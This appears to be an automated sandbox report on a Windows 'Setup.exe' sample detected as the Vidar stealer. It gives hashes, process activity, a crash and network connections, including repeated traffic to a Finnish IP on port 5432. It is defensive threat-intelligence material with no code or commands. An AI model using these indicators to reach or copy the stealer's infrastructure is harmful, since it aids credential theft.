SHA256 3fab9968049edcaad2472de24f3aa0fa3dcf5eff68ba14c31153f221d7a4c258
SHA512 e23eb2e2bd33eadde41d77d045b58a59b048fef294647598ca1088fe39495b3d5ba18faf9c5cd78bbf1a0b8712a4af8992308426eba8c8683fc9e11d9bbdb4cc

memory/4692-13-0x0000021104840000-0x0000021105840000-memory.dmp

Analysis: behavioral1

Detonation Overview

Submitted

2024-03-02 16:30

Reported

2024-03-02 16:37

Platform

win11-20240221-en

Max time kernel

56s

Max time network

95s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Setup.exe"

Signatures

Detect Vidar Stealer

stealer
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Vidar

stealer vidar

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Users\Admin\AppData\Local\Temp\Setup.exe

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Setup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Setup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Setup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Setup.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Setup.exe

"C:\Users\Admin\AppData\Local\Temp\Setup.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4932 -ip 4932

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 4932 -s 2372

C:\Windows\SysWOW64\DllHost.exe

C:\Windows\SysWOW64\DllHost.exe /Processid:{06622D85-6856-4460-8DE1-A81921B41C4B}

C:\Windows\system32\rundll32.exe

"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,Control_RunDLL C:\Windows\System32\srchadmin.dll ,

Network

Country Destination Domain Proto
GB 95.101.129.193:443 tcp
US 52.182.141.63:443 browser.pipe.aria.microsoft.com tcp
GB 92.123.128.186:443 r.bing.com tcp
GB 92.123.128.186:443 r.bing.com tcp
GB 92.123.128.186:443 r.bing.com tcp
GB 92.123.128.186:443 r.bing.com tcp
GB 92.123.128.186:443 r.bing.com tcp
GB 92.123.128.186:443 r.bing.com tcp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
GB 23.43.21.212:443 steamcommunity.com tcp
FI 95.217.28.14:5432 95.217.28.14 tcp
FI 95.217.28.14:5432 95.217.28.14 tcp
FI 95.217.28.14:5432 95.217.28.14 tcp
FI 95.217.28.14:5432 95.217.28.14 tcp
US 13.107.3.254:443 s-ring.msedge.net tcp
US 172.202.64.254:443 arc-ring.msedge.net tcp
SE 51.12.13.90:443 f2cc18d3191a58ed40f378b45662684d.azr.footprintdns.com tcp

Files

memory/4932-0-0x0000000001B70000-0x0000000001B71000-memory.dmp

memory/4932-1-0x0000000001B80000-0x0000000001B81000-memory.dmp

memory/4932-3-0x0000000001BF0000-0x0000000001BF1000-memory.dmp

memory/4932-2-0x0000000001B90000-0x0000000001B91000-memory.dmp

memory/4932-4-0x0000000004430000-0x0000000004431000-memory.dmp

memory/4932-5-0x0000000004440000-0x0000000004441000-memory.dmp

memory/4932-6-0x00000000006E0000-0x0000000001ADA000-memory.dmp

memory/4932-7-0x0000000004450000-0x0000000004451000-memory.dmp

memory/4932-8-0x00000000006E0000-0x0000000001ADA000-memory.dmp

memory/4932-16-0x00000000006E0000-0x0000000001ADA000-memory.dmp